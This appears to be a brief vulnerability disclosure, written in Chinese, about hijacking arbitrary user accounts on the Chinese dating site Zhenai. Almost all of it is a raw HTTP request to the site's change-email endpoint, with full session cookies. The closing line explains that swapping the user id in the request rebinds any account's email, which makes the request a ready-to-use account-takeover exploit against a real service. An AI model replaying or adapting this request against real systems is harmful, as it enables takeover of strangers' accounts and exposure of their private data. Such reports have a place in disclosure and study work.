珍爱网任意劫持他人账号

　　album.zhenai.com

　　POST /personal/ajaxChangeEmail.jsps HTTP/1.1Host: album.zhenai.comProxy-Connection: keep-aliveContent-Length: 33Accept: text/plain, */*; q=0.01Origin: http://album.zhenai.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/25.0.1349.2 Safari/537.21Content-Type: application/x-www-form-urlencodedReferer: http://album.zhenai.com/personal/updateEmailOfPage.jsps?updateEmail=123@126.comAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Cookie: sid=1kZXLJoxW6BVFDoXsnRy; SEARCHWORD=3; mid=%5E%7Emid%3D43998445%5E%7E; loginactiontime=%5E%7Eloginactiontime%3D1357958628099%5E%7E; sourceUrl=%5E%7EsourceUrl%3D%5E%7E; logininfo=%5E%7Elogininfo%3D43998445%5E%7E; rmpwd=%5E%7Eloginmode%3D%5E%7Elogininfo%3D43998445%5E%7E; otherinfo=%5E%7Eisnew%3D1%5E%7ElocalEmail%3D%5E%7E; urlkey=http%3A//register.zhenai.com/register/upLoadUserPhotoPre.jsps%3FregType%3Dphone%26towhere%3Dhttp%253A%252F%252Fprofile.zhenai.com%252Fpersonal%252FmymainPage.jsps%3Fr%3D0.9503279209305837; isEmailIntercept43998445=^~isEmail=yes^~; OrderDiscount43998445=^~hasDiscount=no^~; CHANNEL_FIRST_SEARCH=1; CHANNEL_FIRST_PAGE=1; infoprcent-43998445=55; isvalideEmail=%5E%7EvalideEmail%3D1%5E%7E; JSESSIONID=abcoeSWkDdmg8fU5nTSWt; lover=%5E%7Epage%3D2%5E%7Esize%3D1000%5E%7E; CHANNEL_PHOTO=0; CHANNEL=^~refererHost=^~channelId=40020^~subid=^~; bottomRemind=%5E%7EvisPhoto%3Dno%5E%7E; p=%5E%7Eworkcity%3D10102014%5E%7EbridgeCity%3D0%5E%7Eloginname%3D2013-01-12+10%3A43%3A48.0%5E%7Elh%3D43998445%5E%7Esex%3D0%5E%7Eemail%3D%5E%7Enickname%3D%E4%BC%9A%E5%91%9843998445%5E%7Emt%3D1%5E%7Emage%3D23%5E%7Edp%3D%5E%7Edby%3D3b7f05954d0b4889%5E%7Eemail%3Dlandaozi%40126.com%5E%7E logininfo.email=root%40wooyun.org

[Ok3w_NextPage]

　　修改id 43998445即可重置任意绑定邮箱